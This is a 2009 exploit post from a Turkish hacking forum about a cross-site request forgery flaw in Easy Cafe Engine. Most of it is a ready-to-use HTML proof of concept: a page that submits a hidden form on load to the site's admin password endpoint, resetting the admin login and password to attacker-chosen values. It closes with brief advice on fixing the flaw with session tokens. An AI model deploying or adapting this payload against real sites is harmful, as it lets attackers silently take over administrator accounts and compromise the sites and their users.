Easy Cafe Engine ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Easy Cafe Engine ~ XSRF Vuln.

Madde
	Author : Bug Researchers/system-hacker
	Date : 18.04.2009 16:35:41
	# Easy Cafe Engine ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Easy Cafe Engine # Vulnerable Type : Xsrf # Infection : Uzaktan otomatik olarak admin pass change edilebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. # author : Bug Researchers/system-hacker ############################################################ < ------------------- header data end of ------------------- > < -- bug code start -- > <bOdy onload=Submit();> <script>function Submit(){document.frm.submit();}</script> <form name=frm action=’http://easy.cafeengine.com/admin.php?section=password’ method=POST enctype=multipart/form-data> <input type=hidden name=action value=update_options> <td>Login</td> <td><input type=text name=o[admin_login] value=system></td> <td>password</td> <td><input type=password name=o[admin_password] value=’hacker’></td> <td>Confirm password</td> <td><input type=password name=admin_password_c value=’hacker’></td> <td colspan=2><input type=submit value=Submit></td> </form> < -- bug code end of -- >